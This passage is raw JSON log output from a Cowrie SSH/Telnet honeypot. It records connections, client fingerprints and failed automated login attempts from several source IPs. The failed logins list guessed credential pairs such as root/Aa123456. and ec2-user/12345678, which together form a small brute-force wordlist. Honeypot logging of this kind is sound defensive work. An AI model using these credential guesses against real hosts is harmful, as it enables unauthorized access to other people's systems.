rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:32.167009Z","src_ip":"45.156.87.147","session":"78681ec183b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:32.494977Z","src_ip":"45.156.87.147","session":"78681ec183b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:33.581194Z","src_ip":"45.156.87.147","session":"78681ec183b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:33.678921Z","src_ip":"91.92.42.227","session":"c840fd89a486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:35.225199Z","src_ip":"91.92.42.227","session":"c840fd89a486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.164288520812988,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:35.660022Z","src_ip":"172.104.93.159","session":"07f129687967","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55026,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb03a60aae52","protocol":"ssh","message":"New connection: 45.156.87.147:55026 (10.17.0.5:22) [session: eb03a60aae52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:37.016136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:37.021319Z","src_ip":"45.156.87.147","session":"eb03a60aae52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:37.159133Z","src_ip":"45.156.87.147","session":"eb03a60aae52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"root","message":"login attempt [developer/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:37.461733Z","src_ip":"45.156.87.147","session":"eb03a60aae52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48698,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8893fd23b21","protocol":"ssh","message":"New connection: 91.92.42.227:48698 (10.17.0.5:22) [session: b8893fd23b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:37.804330Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":34684,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcc17813b1fd","protocol":"ssh","message":"New connection: 77.94.47.83:34684 (159.203.135.109:22) [session: bcc17813b1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:38.173259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:38.176458Z","src_ip":"77.94.47.83","session":"bcc17813b1fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:38.289692Z","src_ip":"77.94.47.83","session":"bcc17813b1fd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:38.453371Z","src_ip":"91.92.42.227","session":"b8893fd23b21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:38.457187Z","src_ip":"91.92.42.227","session":"b8893fd23b21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:38.545027Z","src_ip":"45.156.87.147","session":"eb03a60aae52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"223366","message":"login attempt [root/223366] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:38.623914Z","src_ip":"77.94.47.83","session":"bcc17813b1fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:39.736400Z","src_ip":"77.94.47.83","session":"bcc17813b1fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:41.484246Z","src_ip":"91.92.42.227","session":"b8893fd23b21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48512,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6fff06e5a86","protocol":"ssh","message":"New connection: 45.156.87.147:48512 (10.17.0.5:22) [session: a6fff06e5a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:42.196958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:42.202753Z","src_ip":"45.156.87.147","session":"a6fff06e5a86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:42.286090Z","src_ip":"45.156.87.147","session":"a6fff06e5a86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:42.537219Z","src_ip":"45.156.87.147","session":"a6fff06e5a86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:43.287047Z","src_ip":"91.92.42.227","session":"b8893fd23b21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:43.622977Z","src_ip":"45.156.87.147","session":"a6fff06e5a86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48758,"dst_ip":"10.17.0.5","dst_port":22,"session":"8186eefcf250","protocol":"ssh","message":"New connection: 91.92.42.227:48758 (10.17.0.5:22) [session: 8186eefcf250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:44.293711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:45.135173Z","src_ip":"91.92.42.227","session":"8186eefcf250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:45.138652Z","src_ip":"91.92.42.227","session":"8186eefcf250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48524,"dst_ip":"10.17.0.5","dst_port":22,"session":"9659bcd88b18","protocol":"ssh","message":"New connection: 45.156.87.147:48524 (10.17.0.5:22) [session: 9659bcd88b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:46.963193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:46.967221Z","src_ip":"45.156.87.147","session":"9659bcd88b18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:47.050604Z","src_ip":"45.156.87.147","session":"9659bcd88b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:47.297954Z","src_ip":"45.156.87.147","session":"9659bcd88b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:48.387690Z","src_ip":"45.156.87.147","session":"9659bcd88b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:49.551443Z","src_ip":"91.92.42.227","session":"8186eefcf250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:51.357044Z","src_ip":"91.92.42.227","session":"8186eefcf250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34474,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5d3a53f8885","protocol":"ssh","message":"New connection: 91.92.42.227:34474 (10.17.0.5:22) [session: d5d3a53f8885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:51.413583Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52140,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c1351f537bc","protocol":"ssh","message":"New connection: 45.156.87.147:52140 (10.17.0.5:22) [session: 4c1351f537bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:51.952703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:51.957064Z","src_ip":"45.156.87.147","session":"4c1351f537bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:52.038592Z","src_ip":"45.156.87.147","session":"4c1351f537bc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:52.088439Z","src_ip":"91.92.42.227","session":"d5d3a53f8885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:52.092494Z","src_ip":"91.92.42.227","session":"d5d3a53f8885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"12345678","message":"login attempt [ec2-user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:52.287103Z","src_ip":"45.156.87.147","session":"4c1351f537bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":56706,"dst_ip":"10.17.0.5","dst_port":22,"session":"474c7f704415","protocol":"ssh","message":"New connection: 8.219.200.1:56706 (10.17.0.5:22) [session: 474c7f704415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:52.733659Z"}
